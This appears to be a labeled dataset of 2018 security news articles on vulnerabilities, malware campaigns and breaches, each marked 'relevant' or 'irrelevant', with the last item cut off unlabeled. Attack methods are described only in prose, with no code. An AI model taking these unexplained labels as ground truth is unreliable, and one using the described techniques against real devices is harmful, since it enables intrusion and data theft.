"Critical Unpatched RCE Flaw Disclosed in LG Network Storage Devices If you have installed a network-attached storage device manufactured by LG Electronics, you should take it down immediately, read this article carefully and then take appropriate action to protect your sensitive data. A security researcher has revealed complete technical details of an unpatched critical remote command execution vulnerability in various LG NAS device models that could let attackers compromise vulnerable devices and steal data stored on them. LG's Network Attached Storage (NAS) device is a dedicated file storage unit connected to a network that allows users to store and share data with multiple computers. Authorized users can also access their data remotely over the Internet. The vulnerability has been discovered by the researcher at privacy advocate firm VPN Mentor, the same company that last month revealed severe flaws in three popular VPNs—HotSpot Shield, PureVPN, and ZenMate VPN. The LG NAS flaw is a pre-authenticated remote command injection vulnerability, which resides due to improper validation of the ""password"" parameter of the user login page for remote management, allowing remote attackers to pass arbitrary system commands through the password field. nas-device-hacking As demonstrated by the researchers in the following video, attackers can exploit this vulnerability to first write a simple persistent shell on the vulnerable storage devices connected to the internet. Using that shell, attackers can then execute more commands easily, one of which could also allow them to download the complete database of NAS devices, including users' emails, usernames and MD5 hashed passwords. Since passwords protected with MD5 cryptographic hash function can easily be cracked, attackers can gain authorized access and steal users sensitive data stored on the vulnerable devices. In case, attackers don't want to crack the stolen password, they can simply run another command, as shown, to add a new user to the device, and log-in with that credentials to get the job done. To add a new user to the database, all an attacker needs to do is generate a valid MD5. ""We can use the included MD5 tool to create a hash with the username test and the password 1234,"" the researchers say. Since LG has not yet released a fix for the issue, users of LG NAS devices are advised to ensure that their devices are not accessible via the public Internet and should be protected behind a firewall configured to allow only a trusted set of IPs to connect to the web interface. Users are also recommended to periodically look out for any suspicious activity by checking all registered usernames and passwords on their devices.",relevant
"Hackers Behind Healthcare Espionage Infect X-Ray and MRI Machines Security researchers have uncovered a new hacking group that is aggressively targeting healthcare organizations and related sectors across the globe to conduct corporate espionage. Dubbed ""Orangeworm,"" the hacking group has been found installing a wormable trojan on machines hosting software used for controlling high-tech imaging devices, such as X-Ray and MRI machines, as well as machines used to assist patients in completing consent forms. According to a new report published by Symantec on Monday, the Orangeworm hacking group has been active since early 2015 and targeting systems of major international corporations based in the United States, Europe, and Asia with a primary focus on the healthcare sector. ""We believe that these industries have also been targeted as part of a larger supply-chain attack in order for Orangeworm to get access to their intended victims related to healthcare,"" Symantec said. After getting into the victim's network, attackers install a trojan, dubbed Kwampirs, which opens a backdoor on the compromised computers, allowing attackers to remotely access equipment and steal sensitive data. While decrypting, the Kwampirs malware inserts a randomly generated string into its main DLL payload in an attempt to evade hash-based detection. The malware also starts a service on the compromised systems to persist and restart after the system reboots. Kwampirs then collects some basic information about the compromised computers and send it to the attackers to a remote command-and-control server, using which the group determines whether the hacked system is used by a researcher or a high-value target. healthcare-malware-cyberattack healthcare-malware-cyberattack If the victim is of interest, the malware then ""aggressively"" spread itself across open network shares to infect other computers within the same organisation. To gather additional information about the victim's network and compromised systems, the malware uses system's built-in commands, instead of using third-party reconnaissance and enumeration tools. Above shown list of commands help attackers to steal information including, ""any information pertaining to recently accessed computers, network adapter information, available network shares, mapped drives, and files present on the compromised computer."" Besides health-care providers and pharmaceutical companies that account for nearly 40% of targets, Orangeworm has also launched attacks against other industries including information technology and manufacturing sectors, agriculture, and logistics. However, these industries also somehow work for healthcare, like manufacturers that make medical devices, technology companies that offer services to clinics, and logistics firms that deliver healthcare products. orangeworm-hacking-group Although the exact motive of Orangeworm is not clear and there's no information that could help determine the group's origins, Symantec believes the group is likely conducting espionage for commercial purposes and there's no evidence that it's backed by a nation-state. ""Based on the list of known victims, Orangeworm does not select its targets randomly or conduct opportunistic hacking,"" Symantec said. ""Rather, the group appears to choose its targets carefully and deliberately, conducting a good amount of planning before launching an attack."" The highest percentage of victims has been detected in the United States, followed by Saudi Arabia, India, Philippines, Hungary, United Kingdom, Turkey, Germany, Poland, Hong Kong, Sweden, Canada, France, and several other countries across the globe.",relevant
"Finland's 3rd Largest Data Breach Exposes 130,000 Users' Plaintext Passwords Over 130,000 Finnish citizens have had their credentials compromised in what appears to be third largest data breach ever faced by the country, local media reports. Finnish Communications Regulatory Authority (FICORA) is warning users of a large-scale data breach in a website maintained by the New Business Center in Helsinki (""Helsingin Uusyrityskeskus""), a company that provides business advice to entrepreneurs and help them create right business plans. Unknown attackers managed to hack the website (https://liiketoimintasuunnitelma.com) and stole over 130,000 users' login usernames and passwords, which were stored on the site in plain-text without using any cryptographic hash. Right after knowing of the breach on 3rd April, the company took down the affected website, which is currently showing ""under maintenance"" notice with a press release about the incident on its homepage. ""We are very sorry for all the people who have been subjected to crime and who may be affected by mental or financial disadvantages. Unfortunately, we are not yet able to know exactly how many people are and what information this information breaks. We have filed an offense report, and the parties do not need to report to the police separately,"" says Jarmo Hyökyvaara, Chairman of the Board of the New Business Center of Helsinki. ""The maintenance and security of our service was the responsibility of our subcontractor, our long-term partner. Unfortunately, the security of the service has not been enough to prevent this kind of attack. This is, in part, our mistake, and as a subscriber and owner of the service we are responsible for this."" The company also ensures that the detailed information of its customers was stored on a different system, which was not affected by the data breach. The incident has been reported to the Helsinki police, who is currently investigating the case as a gross fraud. As soon as the website returns, users who have an account with the affected website are strongly recommended to change their passwords. Since the plain-text passwords have been exposed to hackers, it would be a great idea for users to change their passwords for any other website, in case they are using identical to the one used on this website.",irrelevant
"Casino Gets Hacked Through Its Internet-Connected Fish Tank Thermometer Internet-connected technology, also known as the Internet of Things (IoT), is now part of daily life, with smart assistants like Siri and Alexa to cars, watches, toasters, fridges, thermostats, lights, and the list goes on and on. But of much greater concern, enterprises are unable to secure each and every device on their network, giving cybercriminals hold on their network hostage with just one insecure device. Since IoT is a double-edged sword, it not only poses huge risks to enterprises worldwide but also has the potential to severely disrupt other organisations, or the Internet itself. There's no better example than Mirai, the botnet malware that knocked the world's biggest and most popular websites offline for few hours over a year ago. We have another great example that showcases how one innocent looking insecure IoT device connected to your network can cause security nightmares. Nicole Eagan, the CEO of cybersecurity company Darktrace, told attendees at an event in London on Thursday how cybercriminals hacked an unnamed casino through its Internet-connected thermometer in an aquarium in the lobby of the casino. According to what Eagan claimed, the hackers exploited a vulnerability in the thermostat to get a foothold in the network. Once there, they managed to access the high-roller database of gamblers and ""then pulled it back across the network, out the thermostat, and up to the cloud."" Although Eagan did not disclose the identity of the casino, the incident she was sharing could be of last year, when Darktrace published a report [PDF], referencing to a thermometer hack of this sort on an unnamed casino based in North America. The adoption of IoT technology raises concerns over new and more imaginative cybersecurity threats, and this incident is a compelling reminder that the IoT devices are theoretically vulnerable to being hacked or compromised. ""There's a lot of internet of things devices, everything from thermostats, refrigeration systems, HVAC [air conditioning] systems, to people who bring in their Alexa devices into the offices,"" said Eagan. ""There's just a lot of IoT. It expands the attack surface and most of this isn't covered by traditional defenses."" Manufacturers majorly focus on performance and usability of IoT devices but ignore security measures and encryption mechanisms, which is why they are routinely being hacked. Therefore, people can hardly do anything to protect themselves against these kinds of threats, until IoT device manufacturers timely secure and patch every security flaws or loopholes that might be present in their devices. The best way you can protect is to connect only necessary devices to the network and place them behind a firewall. Also, keep your operating systems and software up-to-date, make use of a good security product that protects all your devices within the network, and most importantly, educate yourself about IoT products.",irrelevant
"Man Who Hacked Jail Systems to Release His Friend Early Gets 7-Years in Prison Remember a young hacker who hacked jail systems in an attempt to release his prison inmate early? Well, that hacker will now be joining his inmate behind bars. Konrads Voits of Ypsilanti, Michigan, has been sentenced to seven years and three months in prison for attempting to hack the Washtenaw County Jail computer system and modifying prison records to get his friend released early. Besides spending 87 months in prison, Voits has also been ordered to pay $235,488 in fine to Washtenaw County for the cost accrued in investigating and cleaning up the infiltration that resulted in the compromise of personal information of around 1,600 employees, the US Justice Department announced last week. Between January 24th, 2017 and March 10th, 2017, Voits successfully tricked IT staff at Washtenaw County Jail into visiting a phony website at ""ewashtenavv.org,"" which mimics the official URL, ""ewashtenaw.org."" The malicious website then installed malware on the IT staff computer that eventually gave Voits complete control over the Jail's network, allowing him to steal search warrant affidavits and personal details of over 1,600 employees, including names, email addresses, and passwords. Besides this, Voits also accessed the Washtenaw County Jail records and altered the electronic records of at least one inmate for early release. However, things did not work as Voits wanted them to. An IT employee cross-checked the release date of the inmate with hand-kept records and detected changes in the records. He alerted the FBI, who arrested Voits a month later. ""Thanks to the quick response of the IT employees at Washtenaw County, and to the careful review of records by employees at the Washtenaw County Jail, nobody was released early,"" the DoJ said last week. ""Washtenaw County spent thousands of dollars and numerous extra work hours responding to and investigating the breach, resulting in a loss of at least $235,488."" The 27-year-old Michigan man pleaded guilty to one federal charge of damaging a protected computer in December last year and has now been jailed for seven years and three months behind bars, alongside up to 3 years of supervised release. Voits has also agreed to surrender his belongings he used during the attack, including his laptop, four mobile phones (using which he called prison staff), $385.49 worth of Bitcoin, and one ""Green Integrated Circuit Component, Serial No. Y21A2123.""",irrelevant
"Flaw in LinkedIn AutoFill Plugin Lets Third-Party Sites Steal Your Data Not just Facebook, a new vulnerability discovered in Linkedin's popular AutoFill functionality found leaking its users' sensitive information to third party websites without the user even knowing about it. LinkedIn provides an AutoFill plugin for a long time that other websites can use to let LinkedIn users quickly fill in profile data, including their full name, phone number, email address, ZIP code, company and job title, with a single click. In general, the AutoFill button only works on specifically ""whitelisted websites,"" but 18-year-old security researcher Jack Cable of Lightning Security said it is not just the case. Cable discovered that the feature was plagued with a simple yet important security vulnerability that potentially enabled any website (scrapers) secretly harvest user profile data and the user would not even realize of the event. A legitimate website would likely place a AutoFill button near the fields the button can fill, but according to Cable, an attacker could secretly use the AutoFill feature on his website by changing its properties to spread the button across the entire web page and then make it invisible. Since the AutoFill button is invisible, users clicking anywhere on the website would trigger AutoFill, eventually sending all of their public as well as private data requested to the malicious website, Cable explains. Here's How attackers can exploit the LinkedIn Flaw: User visits the malicious website, which loads the LinkedIn AutoFill button iframe. The iframe is styled in a way that it takes up the entire page and is invisible to the user. The user then clicks anywhere on that page, and LinkedIn interprets this as the AutoFill button being pressed and sends the users' data via postMessage to the malicious site. Cable discovered the vulnerability on April 9th and immediately disclosed it to LinkedIn. The company issued a temporary fix the next day without informing the public of the issue. The fix only restricted the use of LinkedIn's AutoFill feature to whitelisted websites only who pay LinkedIn to host their advertisements, but Cable argued that the patch was incomplete and still left the feature open to abuse as whitelisted sites still could have collected user data. Besides this, if any of the sites whitelisted by LinkedIn gets compromised, the AutoFill feature could be abused to send the collected data to malicious third-parties. To demonstrate the issue, Cable also built a proof-of-concept test page, which shows how a website can grab your first and last name, email address, employer, and location. Since a complete fix for the vulnerability was rolled out by LinkedIn on April 19, the above demo page might not work for you now. ""We immediately prevented unauthorized use of this feature, once we were made aware of the issue. We are now pushing another fix that will address potential additional abuse cases, and it will be in place shortly,"" the company said in a statement. ""While we've seen no signs of abuse, we're constantly working to ensure our members' data stays protected. We appreciate the researcher responsible reporting this, and our security team will continue to stay in touch with them."" Although the vulnerability is not at all a sophisticated or critical one, given the recent Cambridge Analytica scandal wherein data of over 87 million Facebook users was exposed, such security loopholes can pose a serious threat not only to the customers but also the company itself.",relevant
"Microsoft Office 365 Gets Built-in Ransomware Protection and Enhanced Security Features Ransomware has been around for a few years, but it has become an albatross around everyone's neck, targeting big businesses, hospitals, financial institutions and individuals worldwide and extorting millions of dollars. Last year, we saw some major ransomware outbreaks, including WannaCry and NotPetya, which wreaked havoc across the world, hitting hundreds of thousands of computers and business networks worldwide. From small to mid-range businesses, Microsoft Office 365 remains the most widely used and fastest-growing work office suite, so it's no surprise that it has become a primary target for viruses, ransomware, and phishing scams. In fact, most strains of ransomware target Microsoft productivity apps such as Word, Excel and encrypt sensitive data to hold the company hostage until the ransom is paid. Now, to combat such cyber attacks, Microsoft has announced some new security features for Office 365 that can help users mitigate the damage done by ransomware and other malware infections. The new features were initially introduced for OneDrive for Business, but that the company is now rolling them out to anyone who has signed up for an Office 365 Home or Personal subscription, Microsoft Office blog says. Here below I have briefed the list of new features: File Recovery and Anti-Ransomware Files Restore—Microsoft Office 365 now allows users to restore entire OneDrive to a previous point in time within the last 30 days. This feature can be used to recover files from an accidental mass delete, file corruption, ransomware, or any catastrophic event. Ransomware detection & recovery—Office 365 had also introduced a new security feature that detects ransomware attacks and alerts you through an email, mobile, or desktop notification while helping you restore your OneDrive to a point before the malware compromised files. Security and Privacy Features Office-365-security-blog-image-Sharing-Links Office 365 has added three new features to help keep your confidential or personal data (such as tax documents, family budgets, or a new business proposal) secure and private when sharing them online. Password protected sharing links—This feature allows you to set a password for your shared file and folders, preventing unauthorized access even if your recipient accidentally forwards protected documents to others. Email encryption—This feature allows users to send/receive end-to-end encrypted emails in Outlook over a secure connection, providing additional protection to minimize the threat of being intercepted. Prevent forwarding—Microsoft now enables you to restrict your email recipients from forwarding or copying emails you send to them from Outlook. Besides this, any MS Office document attached to your emails will remain encrypted even after downloading, so if the recipient shares your attachment with others, they will not be able to open it. Advanced Protection from Viruses and Cybercrime Advanced link checking in Word, Excel, and PowerPoint—Office 365 also offers built-in real-time web protection, which monitors every link you click in Word, Excel, and PowerPoint and notifies you if it is suspicious. File Recovery and Anti-Ransomware features began rolling out starting today and will be available to all Office 365 users soon, while features to help keep your information secure and private (including password protected sharing links, email encryption, and prevent forwarding) will start rolling out in the coming weeks. Advanced link checking and advanced attachment scanning are already available in MS Outlook that protects you from previously unseen viruses and phishing scams in real-time. However, advanced link checking in Word, Excel, and PowerPoint will roll out in the second half of 2018.",irrelevant
"Nintendo Switches Hacked to Run Linux—Unpatchable Exploit Released Two separate teams of security researchers have published working proof-of-concept exploits for an unpatchable vulnerability in Nvidia's Tegra line of embedded processors that comes on all currently available Nintendo Switch consoles. Dubbed Fusée Gelée and ShofEL2, the exploits lead to a coldboot execution hack that can be leveraged by device owners to install Linux, run unofficial games, custom firmware, and other unsigned code on Nintendo Switch consoles, which is typically not possible. Both exploits take advantage of a buffer overflow vulnerability in the USB software stack of read-only boot instruction ROM (IROM/bootROM), allowing unauthenticated arbitrary code execution on the game console before any lock-out operations (that protect the chip's bootROM) take effect. The buffer overflow vulnerability occurs when a device owner sends an ""excessive length"" argument to an incorrectly coded USB control procedure, which overflows a crucial direct memory access (DMA) buffer in the bootROM, eventually allowing data to be copied into the protected application stack and giving attackers the ability to execute code of their choice. In other words, a user can overload a Direct Memory Access (DMA) buffer within the bootROM and then execute it to gain high-level access on the device before the security part of the boot process comes into play. ""This execution can then be used to exfiltrate secrets and to load arbitrary code onto the main CPU Complex (CCPLEX) application processors at the highest possible level of privilege (typically as the TrustZone Secure Monitor at PL3/EL3),"" hardware hacker Katherine Temkin of ReSwitched, who released Fusée Gelée, said. However, the exploitation requires users to have physical access to the hardware console to force the Switch into USB recovery mode (RCM), which can simply be done by pressing and shorting out certain pins on the right Joy-Con connector, without actually opening the system. By the way, fail0verflow said a simple piece of wire from the hardware store could be used to bridge Pin 10 and Pin 7 on the console's right Joy-Con connector, while Temkin suggested that simply exposing and bending the pins in question would also work. Once done, you can connect the Switch to your computer using a cable (USB A → USB C) and then run any of the available exploits. Fusée Gelée, released by Temkin, allows device owners only to display device data on the screen, while she promised to release more scripts and full technical details about exploiting Fusée Gelée on June 15, 2018, unless someone else made them public. She is also working on customized Nintendo Switch firmware called Atmosphère, which can be installed via Fusée Gelée. Nintend-Switch-hack On the other hand, ShofEL2 exploit released by famous fail0verflow team allows users to install Linux on Nintendo Switches. ""We already caused temporary damage to one LCD panel with bad power sequencing code. Seriously, do not complain if something goes wrong,"" fail0verflow team warns. Meanwhile, another team of hardware hackers Team Xecutor is also preparing to sell an easy-to-use consumer version of the exploit, which the team claims, will ""work on any Nintendo Switch console regardless of the currently installed firmware, and will be completely future proof."" Nintendo Can't Fix the Vulnerability Using Firmware Update The vulnerability is not just limited to the Nintendo Switch and affects Nvidia's entire line of Tegra X1 processors, according to Temkin. ""Fusée Gelée was responsibly disclosed to NVIDIA earlier, and forwarded to several vendors (including Nintendo) as a courtesy,"" Temkin says. Since the bootROM component comes integrated into Tegra devices to control the device boot-up routine and all happens in Read-Only memory, the vulnerability cannot be patched by Nintendo with a simple software or firmware update. ""Since this bug is in the Boot ROM, it cannot be patched without a hardware revision, meaning all Switch units in existence today are vulnerable, forever,"" fail0verflow says. ""Nintendo can only patch Boot ROM bugs during the manufacturing process."" So, it is possible for the company to address this issue in the future using some hardware modifications, but do not expect any fix for the Switches that you already own.",relevant
"Faulty Patch for Oracle WebLogic Flaw Opens Updated Servers to Hackers Again Earlier this month, Oracle patched a highly critical Java deserialization remote code execution vulnerability in its WebLogic Server component of Fusion Middleware that could allow attackers to easily gain complete control of a vulnerable server. However, a security researcher, who operates through the Twitter handle @pyn3rd and claims to be part of the Alibaba security team, has now found a way using which attackers can bypass the security patch and exploit the WebLogic vulnerability once again. WebLogic Server acts as a middle layer between the front end user interface and the backend database of a multi-tier enterprise application. It provides a complete set of services for all components and handles details of the application behavior automatically. Initially discovered in November last year by Liao Xinxi of NSFOCUS security team, the Oracle WebLogic Server flaw (CVE-2018-2628) can be exploited with network access over TCP port 7001. If exploited successfully, the flaw could allow a remote attacker to completely take over a vulnerable Oracle WebLogic Server. The vulnerability affects versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3. Since a proof-of-concept (PoC) exploit for the original Oracle WebLogic Server vulnerability has already been made public on Github and someone has just bypassed the patch as well, your up-to-date services are again at risk of being hacked. Although @pyn3rd has only released a short GIF (video) as a proof-of-concept (PoC) instead of releasing full bypass code or any technical details, it would hardly take a few hours or days for skilled hackers to figure out a way to achieve same. Currently, it is unclear when Oracle would release a new security update to address this issue that has re-opened CVE-2018-2628 flaw. In order to be at least one-step safer, it is still advisable to install April patch update released by Oracle, if you haven't yet because attackers have already started scanning the Internet for vulnerable WebLogic servers.",relevant
"Flaw in Microsoft Outlook Lets Hackers Easily Steal Your Windows Password A security researcher has disclosed details of an important vulnerability in Microsoft Outlook for which the company released an incomplete patch this month—almost 18 months after receiving the responsible disclosure report. The Microsoft Outlook vulnerability (CVE-2018-0950) could allow attackers to steal sensitive information, including users' Windows login credentials, just by convincing victims to preview an email with Microsoft Outlook, without requiring any additional user interaction. The vulnerability, discovered by Will Dormann of the CERT Coordination Center (CERT/CC), resides in the way Microsoft Outlook renders remotely-hosted OLE content when an RTF (Rich Text Format) email message is previewed and automatically initiates SMB connections. A remote attacker can exploit this vulnerability by sending an RTF email to a target victim, containing a remotely-hosted image file (OLE object), loading from the attacker-controlled SMB server. Since Microsoft Outlook automatically renders OLE content, it will initiate an automatic authentication with the attacker's controlled remote server over SMB protocol using single sign-on (SSO), handing over the victim's username and NTLMv2 hashed version of the password, potentially allowing the attacker to gain access to the victim's system. NTLM Version 2 SMB Relay Attack ""This may leak the user's IP address, domain name, username, hostname, and password hash. If the user's password is not complex enough, then an attacker may be able to crack the password in a short amount of time,"" the US-CERT explains. If you are thinking, why would your Windows PC automatically hand over your credentials to the attacker's SMB server? smb-authentication This is how authentication via the Server Message Block (SMB) protocol works in combination with the NTLM challenge/response authentication mechanism, as described in the following image. Dormann reported the vulnerability to Microsoft in November 2016, and in an attempt to patch the issue, the company released an incomplete fix in its April 2018 patch Tuesday update—that's almost 18 months of the reporting. The security patch only prevents Outlook from automatically initiating SMB connections when it previews RTF emails, but the researcher noted that the fix does not prevent all SMB attacks. ""It is important to realize that even with this patch, a user is still a single click away from falling victim to the types of attacks described above,"" Dormann said. ""For example, if an email message has a UNC-style link that begins with ""\\"", clicking the link initiates an SMB connection to the specified server."" SMB-hack-outlook If you have already installed the latest Microsoft patch update, that's great, but attackers can still exploit this vulnerability. So, Windows users, especially network administrators at corporates, are advised to follow the below-mentioned steps to mitigate this vulnerability. Apply the Microsoft update for CVE-2018-0950, if you have not yet. Block specific ports (445/tcp, 137/tcp, 139/tcp, along with 137/udp and 139/udp) used for incoming and outgoing SMB sessions. Block NT LAN Manager (NTLM) Single Sign-on (SSO) authentication. Always use complex passwords, that cannot be cracked easily even if their hashes are stolen (you can use password managers to handle this task). Most important, don't click on suspicious links provided in emails.",relevant
"Remote Execution Flaw Threatens Apps Built Using Spring Framework — Patch Now Security researchers have discovered three vulnerabilities in the Spring Development Framework, one of which is a critical remote code execution flaw that could allow remote attackers to execute arbitrary code against applications built with it. Spring Framework is a popular, lightweight and an open source framework for developing Java-based enterprise applications. In an advisory released today by Pivotal, the company detailed following three vulnerabilities discovered in Spring Framework versions 5.0 to 5.0.4, 4.3 to 4.3.14, and older unsupported versions: Critical: Remote Code Execution with spring-messaging (CVE-2018-1270) High: Directory Traversal with Spring MVC on Windows (CVE-2018-1271) Low: Multipart Content Pollution with Spring Framework (CVE-2018-1272) Vulnerable Spring Framework versions expose STOMP clients over WebSocket endpoints with an in-memory STOMP broker through the 'spring-messaging' module, which could allow an attacker to send a maliciously crafted message to the broker, leading to a remote code execution attack (CVE-2018-1270). ""The use of authentication and authorization of messages, such as the one provided by Spring Security, can limit exposure to this vulnerability only to users who are allowed to use the application,"" the company suggests. The second bug (CVE-2018-1271) resides in Spring's Web model-view-controller (MVC) that allows attackers to execute directory traversal attack and access restricted directories when configured to serve static resources (e.g., CSS, JS, images) from a file system on Windows. This vulnerability doesn't work if you are not using Windows to serve content and can be avoided if you don't serve files from the file system or use Tomcat/WildFly as the server. Pivotal has released Spring Framework 5.0.5 and 4.3.15, which include fixes for all the three vulnerabilities. The company has also released Spring Boot 2.0.1 and 1.5.11, that match the patched Spring Framework versions. So developers and administrators are highly recommended to upgrade their software to the latest versions immediately.",relevant
"Warning: Your Windows PC Can Get Hacked by Just Visiting a Site Can you get hacked just by clicking on a malicious link or opening a website? — YES. Microsoft has just released its April month's Patch Tuesday security updates, which addresses multiple critical vulnerabilities in its Windows operating systems and other products, five of which could allow an attacker to hack your computer by just tricking you visit a website. Microsoft has patched five critical vulnerabilities in Windows Graphics Component that reside due to improper handling of embedded fonts by the Windows font library and affects all versions of Windows operating systems to date, including Windows 10 / 8.1 / RT 8.1 / 7, Windows Server 2008 / 2012 / 2016. An attacker can exploit these issues by tricking an unsuspecting user to open a malicious file or a specially crafted website with the malicious font, which if open in a web browser, would hand over control of the affected system to the attacker. All these five vulnerabilities in Windows Microsoft Graphics were discovered and responsibly disclosed by Hossein Lotfi, a security researcher at Flexera Software. CVE-2018-1010 CVE-2018-1012 CVE-2018-1013 CVE-2018-1015 CVE-2018-1016 Windows Microsoft Graphics is also affected by a denial of service vulnerability that could allow an attacker to cause a targeted system to stop responding. This flaw exists in the way Windows handles objects in memory. Microsoft has also disclosed details of another critical RCE vulnerability (CVE-2018-1004), which exists in Windows VBScript Engine and affects all versions of Windows. ""In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website,"" Microsoft explains. ""An attacker could also embed an ActiveX control marked 'safe for initialization' in an application or Microsoft Office document that hosts the IE rendering engine."" Besides this, Microsoft has also patched multiple remote code execution vulnerabilities in Microsoft Office and Microsoft Excel, which could allow attackers to take control of the targeted systems. The security updates also include patches for six flaws in Adobe Flash Player, three of which were rated critical. Rest CVE-listed flaws has been addressed in Windows, Microsoft Office, Internet Explorer, Microsoft Edge, ChakraCore, Malware Protection Engine, Microsoft Visual Studio, and the Microsoft Azure IoT SDK, along with bugs in Adobe Flash Player. Users are strongly advised to apply security patches as soon as possible to keep hackers and cybercriminals away from taking control of their computers. For installing security updates, simply head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates.",relevant
"Adobe Releases Critical Security Updates for Acrobat, Reader and Photoshop CC Adobe has just released new versions of its Acrobat DC, Reader and Photoshop CC for Windows and macOS users that patch 48 vulnerabilities in its software. A total of 47 vulnerabilities affect Adobe Acrobat and Reader applications, and one critical remote code execution flaw has been patched in Adobe Photoshop CC. Out of 47, Adobe Acrobat and Reader affect with 24 critical vulnerabilities—categorized as Double Free, Heap Overflow, Use-after-free, Out-of-bounds write, Type Confusion, and Untrusted pointer dereference—which if exploited, could allow arbitrary code execution in the context of the targeted user. Rest of the 23 flaws, including Security Bypass, Out-of-bounds read, Memory Corruption, NTLM SSO hash theft, and HTTP POST newline injection via XFA submission, are marked as important and can lead to information disclosure or security bypass. adobe-exploits adobeThe above-listed vulnerabilities impact the Windows and macOS versions of Acrobat DC (Consumer and Classic 2015), Acrobat Reader DC (Consumer and Classic 2015), Acrobat 2017, and Acrobat Reader 2017. The latest Adobe Acrobat and Reader patches have been given a priority rating of ""1,"" which means the flaws are either being exploited in the wild or more likely to be exploited in the wild. So, users are highly recommended to update their software as soon as possible. The flaws have been addressed in Acrobat DC and Acrobat Reader DC version 2018.011.20040, Acrobat 2017 and Acrobat Reader DC 2017 version 2017.011.30080, as well as Acrobat Reader DC (Classic 2015) and Acrobat DC (Classic 2015) version 2015.006.30418. Security Patch for Adobe Photoshop CC Adobe has also released security patches for the Windows and macOS versions of Photoshop CC to address a critical vulnerability, categorized as ""out-of-bounds write"" issue, which can be exploited to execute arbitrary code in the context of the current user. The vulnerability (CVE-2018-4946) impacts Photoshop CC 2018 version 19.1.3 and earlier 19.x versions, as well as Photoshop CC 2017 version 18.1.3 and earlier 18.x versions. The company credited researcher Giwan Go of Trend Micro's Zero Day Initiative for reporting the flaw, which has been addressed with the release of Photoshop CC 2018 version 19.1.4 and Photoshop CC 2017 version 18.1.4. This update has been given a priority rating of ""3,"" which means the attackers have not targeted the vulnerability. Adobe recommends end users and administrators to install the latest security updates as soon as possible.",relevant
"Chinese Hackers Find Over a Dozen Vulnerabilities in BMW Cars Chinese security researchers have discovered more than a dozen vulnerabilities in the onboard compute units of BMW cars, some of which can be exploited remotely to compromise a vehicle. The security flaws have been discovered during a year-long security audit conducted by researchers from Keen Security Lab, a cybersecurity research unit of Chinese firm Tencent, between January 2017 and February 2018. In March 2018, the team responsibly disclosed 14 different vulnerabilities directly to the BMW Group, which affects its vehicles since at least 2012. These are the same group of researchers who have previously found multiple vulnerabilities in various in-car modules used by Tesla, that could have been exploited to achieve remote controls on a target car. Now that BMW started rolling out patches for the vulnerabilities to car owners, the researchers have gone public with a 26-page technical report [PDF] describing their findings, though they avoided publishing some important technical details to prevent abuse. The researchers said a full copy of their research is expected to appear sometime in early 2019, by which the BMW group entirely mitigates against the vulnerabilities. The team of Chinese infosec researchers focused on three critical vehicular components—Infotainment System (or Head Unit), Telematics Control Unit (TCU or T-Box), and Central Gateway Module in several BMW models. smart-car-hacking Here's the list of flaws uncovered by the researchers: 8 flaws impact the internet-connected Infotainment System that plays music and media 4 flaws affect the Telematics Control Unit (TCU) that provides telephony services, accident assistance services, and ability to lock/unlock the car doors remotely. 2 flaws affect the Central Gateway Module that has been designed to receive diagnostic messages from the TCU and the infotainment unit and then transfer them to other Electronic Control Units (ECUs) on different CAN buses. Exploiting these vulnerabilities could allow attackers to send arbitrary diagnostic messages to the target vehicle's engine control unit (ECU), which control electrical functions of the car, and to the CAN bus, which is the spinal cord of the vehicle. This would eventually allow miscreants to take complete control over the operation of the affected vehicle to some extent. bmw-car-hacking-exploit Four flaws require a physical USB access or access to the ODB (On-board diagnostics) port, which means attackers need to be inside your vehicle to exploit them by plugging a malware-laden gadget into the USB port. Another four vulnerabilities require physical or ""indirect"" physical access to the car. However, six vulnerabilities can be exploited remotely to compromise vehicle functions, including one conducted over a short range via Bluetooth or over long range via cellular networks, even when the vehicle is being driven. The team confirmed that the vulnerabilities existed in Head Unit would affect several BMW models, including BMW i Series, BMW X Series, BMW 3 Series, BMW 5 Series, BMW 7 Series. However, researchers said the vulnerabilities uncovered in Telematics Control Unit (TCB) would affect ""BMW models which equipped with this module produced from the year 2012."" BMW has confirmed the findings and already started rolling out over-the-air updates to fix some bugs in the TCU, but other flaws will need patches through the dealers, which is why the researchers have scheduled their full technical report to March 2019. BMW also rewarded Keen Security Lab researchers with the first winner of the BMW Group Digitalization and IT Research Award, describing their research ""by far the most comprehensive and complex testing ever conducted on BMW Group vehicles by a third party.""",relevant
"7 Chrome Extensions Spreading Through Facebook Caught Stealing Passwords Luring users on social media to visit lookalike version of popular websites that pop-up a legitimate-looking Chrome extension installation window is one of the most common modus operandi of cybercriminals to spread malware. Security researchers are again warning users of a new malware campaign that has been active since at least March this year and has already infected more than 100,000 users worldwide. Dubbed Nigelthorn, the malware is rapidly spreading through socially engineered links on Facebook and infecting victims' systems with malicious browser extensions that steal their social media credentials, install cryptocurrency miners, and engage them in click fraud. The malware was pushed through at least seven different Chrome browser extensions—all were hosted on Google's official Chrome Web Store. These malicious Chrome browser extensions were first discovered by researchers at cybersecurity firm Radware, after a ""well-protected network"" of one of its customers, an unnamed global manufacturing firm, got compromised. chrome-extension-malware According to a report published by Radware, the malware operators are using copies of legitimate Google Chrome extensions and injecting a short obfuscated malicious script into them to bypass Google's extension validation checks. Researchers named the malware ""Nigelthorn"" after one of the malicious extensions which was the copy of popular 'Nigelify' extension designed to replace all pictures on a web page with gifs of 'Nigel Thornberry.' Nigelthorn Propagates Through Links Sent Over Facebook Nigelthorn is spreading through socially engineered links on Facebook, which if clicked redirects victims to fake YouTube page, asking them to download a malicious Chrome extension, to continue playing the video. Once installed, the extension executes a malicious JavaScript code that makes victims' computers part of a botnet. A similar malware, dubbed Digimine, emerged last year that also worked by sending socially engineered links over Facebook Messenger and installed a malicious extension, allowing attackers to access the victims' Facebook profile and spread the same malware to their friends' list via Messenger. We recently wrote about another similar malware campaign, dubbed FacexWorm, that was also distributed by sending socially engineered links over Facebook Messenger and redirected users to fake YouTube page, asking them to install a malicious Chrome extension. NigelThorn Steals Password for Facebook/Instagram Accounts The new malware majorly focuses on stealing credentials for victims' Facebook and Instagram accounts and collecting details from their Facebook accounts. This stolen information is then used to send malicious links to friends of the infected person in an effort to push the same malicious extensions further. If any of those friends click on the link, the whole infection process starts over again. NigelThorn also downloads a publicly available, browser-based cryptocurrency mining tool as a plugin to trigger the infected systems to start mining cryptocurrencies, including Monero, Bytecoin or Electroneum. Over the 